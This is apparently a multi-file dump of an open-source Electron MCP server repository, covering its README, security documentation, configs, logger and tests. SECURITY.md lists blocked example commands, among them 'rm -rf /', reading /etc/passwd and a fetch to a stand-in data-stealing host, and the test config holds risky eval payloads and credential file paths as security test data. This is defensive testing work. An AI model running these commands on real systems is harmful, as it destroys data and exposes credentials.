637 | cd tests/integration/react-compatibility
638 | electron test-react-electron.js
639 | ```
640 | 
641 | See [`tests/integration/react-compatibility/README.md`](tests/integration/react-compatibility/README.md) for detailed testing instructions and scenarios.
642 | 
643 | ### React Compatibility
644 | 
645 | This MCP server has been thoroughly tested with React applications and handles common React patterns correctly:
646 | 
647 | - **✅ React Event Handling**: Properly handles `preventDefault()` in click handlers
648 | - **✅ Form Input Detection**: Advanced scoring algorithm works with React-rendered inputs
649 | - **✅ Component Interaction**: Compatible with React components, hooks, and state management
650 | 
651 | ### Project Structure
652 | 
653 | ```
654 | src/
655 | ├── handlers.ts      # MCP tool handlers
656 | ├── index.ts         # Server entry point
657 | ├── tools.ts         # Tool definitions
658 | ├── screenshot.ts    # Screenshot functionality
659 | ├── utils/
660 | │   ├── process.ts   # Process management & DevTools Protocol
661 | │   ├── logs.ts      # Log management
662 | │   └── project.ts   # Project scaffolding
663 | └── schemas/         # JSON schemas for validation
664 | ```
665 | 
666 | ## 🔐 Security & Best Practices
667 | 
668 | - **Sandboxed Execution**: All JavaScript execution is contained within the target Electron app
669 | - **Path Validation**: Only operates on explicitly provided application paths
670 | - **Process Isolation**: Each launched app runs in its own process space
671 | - **No Persistent Access**: No permanent modifications to target applications
672 | 
673 | ## 🤝 Contributing
674 | 
675 | We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details.
676 | 
677 | **Before reporting issues**: Please use the standardized [`ISSUE_TEMPLATE.md`](ISSUE_TEMPLATE.md) for proper bug reporting format. For React compatibility problems or similar technical issues, also review [`REACT_COMPATIBILITY_ISSUES.md`](REACT_COMPATIBILITY_ISSUES.md) for detailed debugging examples, including proper command examples, error outputs, and reproduction steps.
678 | 
679 | 1. Fork the repository
680 | 2. Create a feature branch (`git checkout -b feature/awesome-feature`)
681 | 3. Commit your changes (`git commit -m 'Add awesome feature'`)
682 | 4. Push to the branch (`git push origin feature/awesome-feature`)
683 | 5. Open a Pull Request
684 | 
685 | ## 📄 License
686 | 
687 | MIT License - see [LICENSE](LICENSE) file for details.
688 | 
689 | ## ☕ Support
690 | 
691 | If this project helped you, consider buying me a coffee! ☕
692 | 
693 | [![Ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/halilural)
694 | 
695 | Your support helps me maintain and improve this project. Thank you! 🙏
696 | 
697 | ## 🙏 Acknowledgments
698 | 
699 | - **[Model Context Protocol](https://modelcontextprotocol.io)** - Standardized AI-application interface
700 | - **[Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)** - Universal debugging interface
701 | - **[Playwright](https://playwright.dev)** - Reliable browser automation
702 | - **[Electron](https://electronjs.org)** - Cross-platform desktop applications
703 | 
704 | ## 🔗 Links
705 | 
706 | - **[GitHub Repository](https://github.com/halilural/electron-mcp-server)**
707 | - **[NPM Package](https://www.npmjs.com/package/electron-mcp-server)**
708 | - **[Model Context Protocol](https://modelcontextprotocol.io)**
709 | - **[Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/)**
710 | - **[Issue Template](./ISSUE_TEMPLATE.md)** - Standardized bug reporting format
711 | - **[React Compatibility Issues Documentation](./REACT_COMPATIBILITY_ISSUES.md)** - Technical debugging guide for React applications
712 | 
713 | ---
714 | 
715 | **Ready to supercharge your Electron development with AI-powered automation?** Install the MCP server and start building smarter workflows today! 🚀
716 | 
```

--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------

```markdown
  1 | # Security Implementation
  2 | 
  3 | This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands.
  4 | 
  5 | ## 🛡️ Security Features
  6 | 
  7 | ### 1. Code Execution Isolation
  8 | - **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess
  9 | - **Resource Limits**: 
 10 |   - Maximum execution time: 5 seconds
 11 |   - Memory limit: 50MB
 12 |   - No filesystem access unless explicitly needed
 13 |   - No network access by default
 14 | - **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox
 15 | 
 16 | ### 2. Input Validation & Sanitization
 17 | - **Static Analysis**: Commands are analyzed for dangerous patterns before execution
 18 | - **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc.
 19 | - **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts
 20 | - **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical)
 21 | - **Command Sanitization**: Dangerous content is escaped or removed
 22 | 
 23 | ### 3. Comprehensive Audit Logging
 24 | - **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data
 25 | - **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes
 26 | - **Security Events**: Failed attempts and blocked commands are specially flagged
 27 | - **Performance Metrics**: Track execution patterns for anomaly detection
 28 | 
 29 | ### 4. Secure Screenshot Handling
 30 | - **Encryption**: Screenshot data is encrypted before storage
 31 | - **User Notification**: Clear logging when screenshots are taken
 32 | - **Data Minimization**: Screenshots are only stored temporarily
 33 | - **Secure Transmission**: Base64 data is transmitted over secure channels
 34 | 
 35 | ## 🚨 Blocked Operations
 36 | 
 37 | The following operations are automatically blocked for security:
 38 | 
 39 | ### Critical Risk Operations
 40 | - Direct `eval()` or `Function()` calls
 41 | - File system access (`fs`, `readFile`, `writeFile`)
 42 | - Process control (`spawn`, `exec`, `kill`)
 43 | - Network requests in user code
 44 | - Module loading (`require`, `import`)
 45 | - Global object manipulation
 46 | 
 47 | ### High Risk Patterns
 48 | - Excessive string concatenation (potential obfuscation)
 49 | - Encoded content (`\\x`, `\\u` sequences)
 50 | - Script injection patterns
 51 | - Cross-site scripting attempts
 52 | 
 53 | ## ⚙️ Configuration
 54 | 
 55 | Security settings can be configured via environment variables:
 56 | 
 57 | ```bash
 58 | # Encryption
 59 | SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here
 60 | ```
 61 | 
 62 | ## 📊 Security Metrics
 63 | 
 64 | The system tracks various security metrics:
 65 | 
 66 | - **Total Requests**: Number of commands processed
 67 | - **Blocked Requests**: Commands blocked due to security concerns
 68 | - **Risk Distribution**: Breakdown by risk levels
 69 | - **Average Execution Time**: Performance monitoring
 70 | - **Error Rate**: Failed execution percentage
 71 | 
 72 | ## 🔍 Example Security Validations
 73 | 
 74 | ### ✅ Safe Commands
 75 | ```javascript
 76 | // UI interactions
 77 | document.querySelector('#button').click()
 78 | 
 79 | // Data extraction
 80 | document.getElementById('title').innerText
 81 | 
 82 | // Simple DOM manipulation
 83 | element.style.display = 'none'
 84 | ```
 85 | 
 86 | ### ❌ Blocked Commands
 87 | ```javascript
 88 | // File system access
 89 | require('fs').readFileSync('/etc/passwd')
 90 | 
 91 | // Code execution
 92 | eval('malicious code')
 93 | 
 94 | // Process control
 95 | require('child_process').exec('rm -rf /')
 96 | 
 97 | // Network access
 98 | fetch('http://malicious-site.com/steal-data')
 99 | ```
100 | 
101 | ## 🛠️ Development Guidelines
102 | 
103 | When extending the MCP server:
104 | 
105 | 1. **Always validate input** before processing
106 | 2. **Log security events** for audit trails
107 | 3. **Test with malicious inputs** to verify security
108 | 4. **Follow principle of least privilege**
109 | 5. **Keep security dependencies updated**
110 | 
111 | ## 📝 Security Audit Trail
112 | 
113 | All security events are logged to `logs/security/` with the following information:
114 | 
115 | - Timestamp and session ID
116 | - Command content (encrypted if sensitive)
117 | - Risk assessment results
118 | - Execution outcome
119 | - User context (if available)
120 | - Performance metrics
121 | 
122 | **Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended.
123 | 
```

--------------------------------------------------------------------------------
/src/utils/logs.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { getElectronLogs } from './electron-process';
 2 | 
 3 | // Helper function to read Electron logs
 4 | export async function readElectronLogs(
 5 |   logType: string = 'all',
 6 |   lines: number = 100,
 7 | ): Promise<string[]> {
 8 |   const allLogs = getElectronLogs();
 9 | 
10 |   const relevantLogs = allLogs
11 |     .filter((log) => {
12 |       if (logType === 'all') return true;
13 |       if (logType === 'console') return log.includes('[Console]');
14 |       if (logType === 'main') return log.includes('[Main]');
15 |       if (logType === 'renderer') return log.includes('[Renderer]');
16 |       return true;
17 |     })
18 |     .slice(-lines);
19 | 
20 |   return relevantLogs;
21 | }
22 | 
```

--------------------------------------------------------------------------------
/tsconfig.json:
--------------------------------------------------------------------------------

```json
 1 | {
 2 |   "compilerOptions": {
 3 |     "target": "ES2022",
 4 |     "module": "ESNext",
 5 |     "moduleResolution": "Node",
 6 |     "esModuleInterop": true,
 7 |     "allowSyntheticDefaultImports": true,
 8 |     "strict": true,
 9 |     "skipLibCheck": true,
10 |     "forceConsistentCasingInFileNames": true,
11 |     "declaration": true,
12 |     "outDir": "./dist",
13 |     "rootDir": "./src",
14 |     "resolveJsonModule": true,
15 |     "allowImportingTsExtensions": false,
16 |     "noEmit": false,
17 |     "moduleDetection": "force",
18 |     "baseUrl": "./src",
19 |     "paths": {
20 |       "*": ["*"]
21 |     }
22 |   },
23 |   "include": ["src/**/*"],
24 |   "exclude": ["node_modules", "dist", "**/*.test.ts"]
25 | }
26 | 
```

--------------------------------------------------------------------------------
/tests/conftest.ts:
--------------------------------------------------------------------------------

```typescript
 1 | /**
 2 |  * Global test configuration - similar to Python's conftest.py
 3 |  * This file contains global test setup, fixtures, and configuration
 4 |  * that applies to all test files in the project.
 5 |  */
 6 | 
 7 | import { beforeAll, afterAll } from 'vitest';
 8 | import { GlobalTestSetup } from './support/setup';
 9 | 
10 | // Global test setup that runs once before all tests
11 | beforeAll(async () => {
12 |   await GlobalTestSetup.initialize();
13 | });
14 | 
15 | // Global test cleanup that runs once after all tests
16 | afterAll(async () => {
17 |   await GlobalTestSetup.cleanup();
18 | });
19 | 
20 | // Export commonly used test utilities for easy importing
21 | export { TestHelpers } from './support/helpers';
22 | export { TEST_CONFIG } from './support/config';
23 | export type { TestElectronApp } from './support/helpers';
24 | 
```

--------------------------------------------------------------------------------
/webpack.config.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import path from 'path';
 2 | import { Configuration } from 'webpack';
 3 | import nodeExternals from 'webpack-node-externals';
 4 | 
 5 | const config: Configuration = {
 6 |   target: 'node',
 7 |   mode: 'production',
 8 |   entry: './src/index.ts',
 9 |   output: {
10 |     path: path.resolve(process.cwd(), 'dist'),
11 |     filename: 'index.js',
12 |     clean: true,
13 |   },
14 |   resolve: {
15 |     extensions: ['.ts', '.js'],
16 |     modules: ['node_modules', 'src'],
17 |   },
18 |   externals: [nodeExternals({
19 |     allowlist: [/@modelcontextprotocol\/.*/]
20 |   })],
21 |   module: {
22 |     rules: [
23 |       {
24 |         test: /\.ts$/,
25 |         use: 'ts-loader',
26 |         exclude: /node_modules/,
27 |       },
28 |     ],
29 |   },
30 |   optimization: {
31 |     minimize: false, // Keep readable for debugging
32 |   },
33 |   devtool: 'source-map',
34 | };
35 | 
36 | export default config;
37 | 
```

--------------------------------------------------------------------------------
/src/utils/project.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { exec } from 'child_process';
 2 | import { promisify } from 'util';
 3 | import { logger } from './logger';
 4 | 
 5 | // Helper function to check if Electron is installed (global or local)
 6 | export async function isElectronInstalled(appPath?: string): Promise<boolean> {
 7 |   try {
 8 |     const execAsync = promisify(exec);
 9 | 
10 |     if (appPath) {
11 |       // Check for local Electron installation in the project
12 |       try {
13 |         await execAsync('npm list electron', { cwd: appPath });
14 |         return true;
15 |       } catch {
16 |         // If local check fails, try global
17 |         logger.warn('Local Electron not found, checking global installation');
18 |       }
19 |     }
20 | 
21 |     // Check for global Electron installation
22 |     await execAsync('electron --version');
23 |     return true;
24 |   } catch (error) {
25 |     logger.error('Electron not found:', error);
26 |     return false;
27 |   }
28 | }
29 | 
```

--------------------------------------------------------------------------------
/eslint.config.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import js from '@eslint/js';
 2 | import globals from 'globals';
 3 | import tseslint from 'typescript-eslint';
 4 | 
 5 | export default tseslint.config(
 6 |   {
 7 |     files: ['**/*.{js,mjs,cjs,ts,mts,cts}'],
 8 |     languageOptions: {
 9 |       globals: {
10 |         ...globals.node,
11 |         ...globals.es2022,
12 |       },
13 |       parserOptions: {
14 |         ecmaVersion: 2022,
15 |         sourceType: 'module',
16 |       },
17 |     },
18 |   },
19 |   js.configs.recommended,
20 |   ...tseslint.configs.recommended,
21 |   {
22 |     rules: {
23 |       '@typescript-eslint/no-explicit-any': 'off',
24 |       '@typescript-eslint/no-unused-vars': [
25 |         'error',
26 |         {
27 |           argsIgnorePattern: '^_',
28 |           varsIgnorePattern: '^_',
29 |           caughtErrorsIgnorePattern: '^_',
30 |         },
31 |       ],
32 |       'no-case-declarations': 'off',
33 |       'prefer-const': 'error',
34 |       'no-var': 'error',
35 |       'no-console': 'warn',
36 |     },
37 |   },
38 |   {
39 |     files: ['test/**/*'],
40 |     rules: {
41 |       '@typescript-eslint/no-explicit-any': 'off',
42 |       'no-console': 'off',
43 |     },
44 |   },
45 |   {
46 |     ignores: ['dist/**', 'coverage/**', 'node_modules/**', '*.config.js'],
47 |   },
48 | );
49 | 
```

--------------------------------------------------------------------------------
/src/utils/electron-process.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { ChildProcess } from 'child_process';
 2 | 
 3 | // Electron process management state
 4 | export let electronProcess: ChildProcess | null = null;
 5 | export let electronLogs: string[] = [];
 6 | 
 7 | /**
 8 |  * Set the current Electron process reference
 9 |  */
10 | export function setElectronProcess(process: ChildProcess | null): void {
11 |   electronProcess = process;
12 | }
13 | 
14 | /**
15 |  * Get the current Electron process reference
16 |  */
17 | export function getElectronProcess(): ChildProcess | null {
18 |   return electronProcess;
19 | }
20 | 
21 | /**
22 |  * Add a log entry to the Electron logs
23 |  */
24 | export function addElectronLog(log: string): void {
25 |   electronLogs.push(log);
26 |   // Keep only the last 1000 logs to prevent memory issues
27 |   if (electronLogs.length > 1000) {
28 |     electronLogs = electronLogs.slice(-1000);
29 |   }
30 | }
31 | 
32 | /**
33 |  * Get all Electron logs
34 |  */
35 | export function getElectronLogs(): string[] {
36 |   return electronLogs;
37 | }
38 | 
39 | /**
40 |  * Clear all Electron logs
41 |  */
42 | export function clearElectronLogs(): void {
43 |   electronLogs = [];
44 | }
45 | 
46 | /**
47 |  * Reset the Electron process state
48 |  */
49 | export function resetElectronProcess(): void {
50 |   electronProcess = null;
51 |   electronLogs = [];
52 | }
53 | 
```

--------------------------------------------------------------------------------
/vitest.config.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { defineConfig } from 'vitest/config';
 2 | import { resolve } from 'path';
 3 | import { config } from 'dotenv';
 4 | 
 5 | // Load environment variables from .env file
 6 | config();
 7 | 
 8 | export default defineConfig({
 9 |   test: {
10 |     globals: true,
11 |     environment: 'node',
12 |     setupFiles: ['./tests/conftest.ts'],
13 |     include: ['tests/**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'],
14 |     exclude: [
15 |       '**/node_modules/**',
16 |       '**/dist/**',
17 |       '**/cypress/**',
18 |       '**/.{idea,git,cache,output,temp}/**',
19 |       '**/{karma,rollup,webpack,vite,vitest,jest,ava,babel,nyc,cypress,tsup,build}.config.*',
20 |       '**/setup.ts', // Exclude setup file from being run as a test
21 |     ],
22 |     coverage: {
23 |       provider: 'v8',
24 |       reporter: ['text', 'json', 'html'],
25 |       exclude: [
26 |         'node_modules/',
27 |         'test/',
28 |         'dist/',
29 |         'example-app/',
30 |         '**/*.d.ts',
31 |         '**/*.config.*',
32 |         '**/coverage/**',
33 |       ],
34 |     },
35 |     testTimeout: 10000,
36 |     hookTimeout: 10000,
37 |     teardownTimeout: 5000,
38 |   },
39 |   resolve: {
40 |     alias: {
41 |       '@': resolve(__dirname, './src'),
42 |       '@test': resolve(__dirname, './test'),
43 |     },
44 |   },
45 | });
46 | 
```

--------------------------------------------------------------------------------
/tests/integration/react-compatibility/test-react-electron.cjs:
--------------------------------------------------------------------------------

```
 1 | const { app, BrowserWindow } = require('electron');
 2 | 
 3 | let mainWindow;
 4 | 
 5 | function createWindow() {
 6 |   mainWindow = new BrowserWindow({
 7 |     width: 900,
 8 |     height: 700,
 9 |     webPreferences: {
10 |       nodeIntegration: false,
11 |       contextIsolation: true,
12 |       enableRemoteModule: false,
13 |       webSecurity: true
14 |     },
15 |     show: false
16 |   });
17 | 
18 |   // Load the React test app
19 |   mainWindow.loadFile('react-test-app.html');
20 | 
21 |   // Show window when ready
22 |   mainWindow.once('ready-to-show', () => {
23 |     mainWindow.show();
24 |   });
25 | 
26 |   // Open DevTools for debugging
27 |   mainWindow.webContents.openDevTools();
28 | 
29 |   mainWindow.on('closed', () => {
30 |     mainWindow = null;
31 |   });
32 | }
33 | 
34 | // Enable remote debugging for MCP server
35 | app.commandLine.appendSwitch('remote-debugging-port', '9222');
36 | 
37 | app.whenReady().then(() => {
38 |   createWindow();
39 | });
40 | 
41 | app.on('window-all-closed', () => {
42 |   if (process.platform !== 'darwin') {
43 |     app.quit();
44 |   }
45 | });
46 | 
47 | app.on('activate', () => {
48 |   if (BrowserWindow.getAllWindows().length === 0) {
49 |     createWindow();
50 |   }
51 | });
52 | 
53 | // Handle errors silently
54 | process.on('uncaughtException', () => {
55 |   // Handle error silently
56 | });
57 | 
58 | process.on('unhandledRejection', () => {
59 |   // Handle error silently
60 | });
61 | 
```

--------------------------------------------------------------------------------
/src/utils/logger.ts:
--------------------------------------------------------------------------------

```typescript
 1 | /* eslint-disable no-console */
 2 | export enum LogLevel {
 3 |   ERROR = 0,
 4 |   WARN = 1,
 5 |   INFO = 2,
 6 |   DEBUG = 3,
 7 | }
 8 | 
 9 | export class Logger {
10 |   private static instance: Logger;
11 |   private level: LogLevel;
12 | 
13 |   constructor(level: LogLevel = LogLevel.INFO) {
14 |     this.level = level;
15 |   }
16 | 
17 |   static getInstance(): Logger {
18 |     if (!Logger.instance) {
19 |       // Check environment variable for log level
20 |       const envLevel = process.env.MCP_LOG_LEVEL?.toUpperCase();
21 |       let level = LogLevel.INFO;
22 | 
23 |       switch (envLevel) {
24 |         case 'ERROR':
25 |           level = LogLevel.ERROR;
26 |           break;
27 |         case 'WARN':
28 |           level = LogLevel.WARN;
29 |           break;
30 |         case 'INFO':
31 |           level = LogLevel.INFO;
32 |           break;
33 |         case 'DEBUG':
34 |           level = LogLevel.DEBUG;
35 |           break;
36 |       }
37 | 
38 |       Logger.instance = new Logger(level);
39 |     }
40 |     return Logger.instance;
41 |   }
42 | 
43 |   setLevel(level: LogLevel) {
44 |     this.level = level;
45 |   }
46 | 
47 |   error(message: string, ...args: any[]) {
48 |     if (this.level >= LogLevel.ERROR) {
49 |       console.error(`[MCP] ERROR: ${message}`, ...args);
50 |     }
51 |   }
52 | 
53 |   warn(message: string, ...args: any[]) {
54 |     if (this.level >= LogLevel.WARN) {
55 |       console.error(`[MCP] WARN: ${message}`, ...args);
56 |     }
57 |   }
58 | 
59 |   info(message: string, ...args: any[]) {
60 |     if (this.level >= LogLevel.INFO) {
61 |       console.error(`[MCP] INFO: ${message}`, ...args);
62 |     }
63 |   }
64 | 
65 |   debug(message: string, ...args: any[]) {
66 |     if (this.level >= LogLevel.DEBUG) {
67 |       console.error(`[MCP] DEBUG: ${message}`, ...args);
68 |     }
69 |   }
70 | 
71 |   // Helper method to check if a certain level is enabled
72 |   isEnabled(level: LogLevel): boolean {
73 |     return this.level >= level;
74 |   }
75 | }
76 | 
77 | // Export singleton instance
78 | export const logger = Logger.getInstance();
79 | 
```

--------------------------------------------------------------------------------
/tests/support/setup.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { logger } from '../../src/utils/logger';
 2 | import { TestHelpers } from './helpers';
 3 | import { TEST_CONFIG } from './config';
 4 | import { mkdirSync, existsSync } from 'fs';
 5 | 
 6 | /**
 7 |  * Global test setup and teardown
 8 |  * Handles initialization and cleanup that applies to all tests
 9 |  */
10 | export class GlobalTestSetup {
11 |   /**
12 |    * Initialize global test environment
13 |    * Called once before all tests run
14 |    */
15 |   static async initialize(): Promise<void> {
16 |     logger.info('🚀 Starting test suite - Global setup');
17 | 
18 |     try {
19 |       // Ensure test directories exist
20 |       this.ensureTestDirectories();
21 | 
22 |       // Clean up any leftover artifacts from previous runs
23 |       await TestHelpers.cleanup();
24 | 
25 |       logger.info('📁 Test resource directories initialized');
26 |     } catch (error) {
27 |       logger.error('Failed to initialize test environment:', error);
28 |       throw error;
29 |     }
30 |   }
31 | 
32 |   /**
33 |    * Clean up global test environment
34 |    * Called once after all tests complete
35 |    */
36 |   static async cleanup(): Promise<void> {
37 |     logger.info('🏁 Test suite completed - Global cleanup');
38 | 
39 |     try {
40 |       const { total } = TestHelpers.getCleanupSize();
41 |       const totalMB = (total / (1024 * 1024)).toFixed(2);
42 | 
43 |       logger.info(`🧹 Cleaning up ${totalMB}MB of test artifacts`);
44 | 
45 |       // Perform comprehensive cleanup
46 |       await TestHelpers.cleanup({
47 |         removeLogsDir: true,
48 |         removeTempDir: true,
49 |         preserveKeys: false,
50 |       });
51 | 
52 |       logger.info('✅ Global test cleanup completed successfully');
53 |     } catch (error) {
54 |       logger.error('Failed to cleanup test environment:', error);
55 |       // Don't throw - cleanup failures shouldn't break the test process
56 |     }
57 |   }
58 | 
59 |   /**
60 |    * Ensure all required test directories exist
61 |    */
62 |   private static ensureTestDirectories(): void {
63 |     Object.values(TEST_CONFIG.PATHS).forEach((dirPath) => {
64 |       if (!existsSync(dirPath)) {
65 |         mkdirSync(dirPath, { recursive: true });
66 |       }
67 |     });
68 |   }
69 | }
70 | 
```

--------------------------------------------------------------------------------
/tests/unit/security-manager.test.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { describe, it, expect, beforeEach } from 'vitest';
 2 | import { SecurityManager } from '../../src/security/manager';
 3 | import { SecurityLevel } from '../../src/security/config';
 4 | import { TEST_CONFIG } from '../conftest';
 5 | 
 6 | describe('SecurityManager Unit Tests', () => {
 7 |   describe('shouldSandboxCommand', () => {
 8 |     let securityManager: SecurityManager;
 9 | 
10 |     beforeEach(() => {
11 |       securityManager = new SecurityManager();
12 |     });
13 | 
14 |     it('should sandbox risky commands', () => {
15 |       TEST_CONFIG.SECURITY.RISKY_COMMANDS.forEach((command) => {
16 |         const result = securityManager.shouldSandboxCommand(command);
17 |         expect(result).toBe(true);
18 |       });
19 |     });
20 | 
21 |     it('should not sandbox simple command names', () => {
22 |       const simpleCommands = ['get_window_info', 'take_screenshot', 'get_title', 'get_url'];
23 | 
24 |       simpleCommands.forEach((command) => {
25 |         const result = securityManager.shouldSandboxCommand(command);
26 |         expect(result).toBe(false);
27 |       });
28 |     });
29 | 
30 |     it('should cache results for performance', () => {
31 |       const command = 'test_command';
32 | 
33 |       // First call
34 |       const result1 = securityManager.shouldSandboxCommand(command);
35 | 
36 |       // Second call should use cache
37 |       const result2 = securityManager.shouldSandboxCommand(command);
38 | 
39 |       expect(result1).toBe(result2);
40 |     });
41 |   });
42 | 
43 |   describe('Security Level Configuration', () => {
44 |     it('should default to BALANCED security level', () => {
45 |       const securityManager = new SecurityManager();
46 |       expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.BALANCED);
47 |     });
48 | 
49 |     it('should allow security level changes', () => {
50 |       const securityManager = new SecurityManager();
51 | 
52 |       securityManager.setSecurityLevel(SecurityLevel.PERMISSIVE);
53 |       expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.PERMISSIVE);
54 | 
55 |       securityManager.setSecurityLevel(SecurityLevel.STRICT);
56 |       expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.STRICT);
57 |     });
58 |   });
59 | });
60 | 
```

--------------------------------------------------------------------------------
/tests/support/config.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import path from 'path';
 2 | 
 3 | /**
 4 |  * Centralized test configuration
 5 |  * Contains all test constants, paths, and configuration values
 6 |  */
 7 | export const TEST_CONFIG = {
 8 |   // Test resource directories
 9 |   PATHS: {
10 |     TEMP_DIR: path.join(process.cwd(), 'temp'),
11 |     TEST_TEMP_DIR: path.join(process.cwd(), 'test-temp'),
12 |     LOGS_DIR: path.join(process.cwd(), 'logs'),
13 |     ELECTRON_APPS_DIR: path.join(process.cwd(), 'temp', 'electron-apps'),
14 |   },
15 | 
16 |   // Test timeouts and limits
17 |   TIMEOUTS: {
18 |     ELECTRON_START: 10000,
19 |     SCREENSHOT_CAPTURE: 5000,
20 |     DEFAULT_TEST: 30000,
21 |   },
22 | 
23 |   // Security test data
24 |   SECURITY: {
25 |     RISKY_COMMANDS: [
26 |       'eval:require("fs").writeFileSync("/tmp/test", "malicious")',
27 |       'eval:process.exit(1)',
28 |       'eval:require("child_process").exec("rm -rf /")',
29 |       'eval:Function("return process")().exit(1)',
30 |       'eval:window.location = "javascript:alert(1)"',
31 |       'eval:document.write("<script>alert(1)</script>")',
32 |     ],
33 |     MALICIOUS_PATHS: [
34 |       '../../../etc/passwd',
35 |       '/etc/shadow',
36 |       '~/.ssh/id_rsa',
37 |       'C:\\Windows\\System32\\config\\SAM',
38 |       '/var/log/auth.log',
39 |       '~/.bashrc',
40 |     ],
41 |   },
42 | 
43 |   // Electron test app configuration
44 |   ELECTRON: {
45 |     DEFAULT_PORT_RANGE: [9300, 9400],
46 |     WINDOW_TITLE: 'Test Electron App',
47 |     HTML_CONTENT: `
48 |       <!DOCTYPE html>
49 |       <html>
50 |       <head>
51 |         <title>Test Electron App</title>
52 |       </head>
53 |       <body>
54 |         <h1>Test Application</h1>
55 |         <button id="test-button">Test Button</button>
56 |         <input id="test-input" placeholder="Test input" />
57 |         <select id="test-select">
58 |           <option value="option1">Option 1</option>
59 |           <option value="option2">Option 2</option>
60 |         </select>
61 |       </body>
62 |       </html>
63 |     `,
64 |   },
65 | } as const;
66 | 
67 | /**
68 |  * Create a test-specific temporary directory path
69 |  */
70 | export function createTestTempPath(testName?: string): string {
71 |   const timestamp = Date.now();
72 |   const suffix = testName ? `-${testName.replace(/[^a-zA-Z0-9]/g, '-')}` : '';
73 |   return path.join(TEST_CONFIG.PATHS.TEST_TEMP_DIR, `test-${timestamp}${suffix}`);
74 | }
75 | 
76 | /**
77 |  * Create an Electron app directory path
78 |  */
79 | export function createElectronAppPath(port: number): string {
80 |   return path.join(TEST_CONFIG.PATHS.ELECTRON_APPS_DIR, `test-electron-${Date.now()}-${port}`);
81 | }
82 | 
```

--------------------------------------------------------------------------------
/src/schemas.ts:
--------------------------------------------------------------------------------

```typescript
 1 | import { z } from 'zod';
 2 | 
 3 | // Command arguments schema for better type safety and documentation
 4 | export const CommandArgsSchema = z
 5 |   .object({
 6 |     selector: z
 7 |       .string()
 8 |       .optional()
 9 |       .describe(
10 |         'CSS selector for targeting elements (required for click_by_selector, click_button)',
11 |       ),
12 |     text: z
13 |       .string()
14 |       .optional()
15 |       .describe(
16 |         'Text content for searching or keyboard input (required for click_by_text, send_keyboard_shortcut)',
17 |       ),
18 |     value: z
19 |       .string()
20 |       .optional()
21 |       .describe('Value to input into form fields (required for fill_input)'),
22 |     placeholder: z
23 |       .string()
24 |       .optional()
25 |       .describe(
26 |         'Placeholder text to identify input fields (alternative to selector for fill_input)',
27 |       ),
28 |     message: z.string().optional().describe('Message or content for specific commands'),
29 |     code: z.string().optional().describe('JavaScript code to execute (for eval command)'),
30 |   })
31 |   .describe('Command-specific arguments. Structure depends on the command being executed.');
32 | 
33 | // Schema definitions for tool inputs
34 | export const SendCommandToElectronSchema = z.object({
35 |   command: z.string().describe('Command to send to the Electron process'),
36 |   args: CommandArgsSchema.optional().describe(
37 |     'Arguments for the command - must be an object with appropriate properties based on the command type',
38 |   ),
39 | });
40 | 
41 | export const TakeScreenshotSchema = z.object({
42 |   outputPath: z
43 |     .string()
44 |     .optional()
45 |     .describe('Path to save the screenshot (optional, defaults to temp directory)'),
46 |   windowTitle: z.string().optional().describe('Specific window title to screenshot (optional)'),
47 | });
48 | 
49 | export const ReadElectronLogsSchema = z.object({
50 |   logType: z
51 |     .enum(['console', 'main', 'renderer', 'all'])
52 |     .optional()
53 |     .describe('Type of logs to read'),
54 |   lines: z.number().optional().describe('Number of recent lines to read (default: 100)'),
55 |   follow: z.boolean().optional().describe('Whether to follow/tail the logs'),
56 | });
57 | 
58 | export const GetElectronWindowInfoSchema = z.object({
59 |   includeChildren: z.boolean().optional().describe('Include child windows information'),
60 | });
61 | 
62 | // Type helper for tool input schema
63 | export type ToolInput = {
64 |   type: 'object';
65 |   properties: Record<string, any>;
66 |   required?: string[];
67 | };
68 | 
```

--------------------------------------------------------------------------------
/SECURITY_CONFIG.md:
--------------------------------------------------------------------------------

```markdown
 1 | # MCP Security Configuration
 2 | 
 3 | The MCP Electron server uses a **BALANCED** security level that provides an optimal balance between security and functionality.
 4 | 
 5 | ## Security Level: BALANCED (Default)
 6 | 
 7 | The server automatically uses the BALANCED security level, which:
 8 | 
 9 | - Allows safe UI interactions and DOM queries
10 | - Blocks dangerous operations like eval and assignments
11 | - Provides good balance between security and functionality
12 | - Cannot be overridden by environment variables for security consistency
13 | 
14 | ## Security Features
15 | 
16 | - ✅ Safe UI interactions (clicking, focusing elements)
17 | - ✅ DOM queries (reading element properties)
18 | - ✅ Property access (reading values)
19 | - ❌ Assignment operations (security risk)
20 | - ❌ Function calls in eval (injection risk)
21 | - ❌ Constructor calls (potential exploit vector)
22 | 
23 | ## Usage Examples
24 | 
25 | Based on your logs, you want to interact with UI elements. Use these secure commands instead of raw eval:
26 | 
27 | ### ✅ Secure Ways to Interact:
28 | 
29 | ```javascript
30 | // Instead of: document.querySelector('button').click()
31 | command: 'click_by_selector';
32 | args: {
33 |   selector: "button[title='Create New Encyclopedia']";
34 | }
35 | 
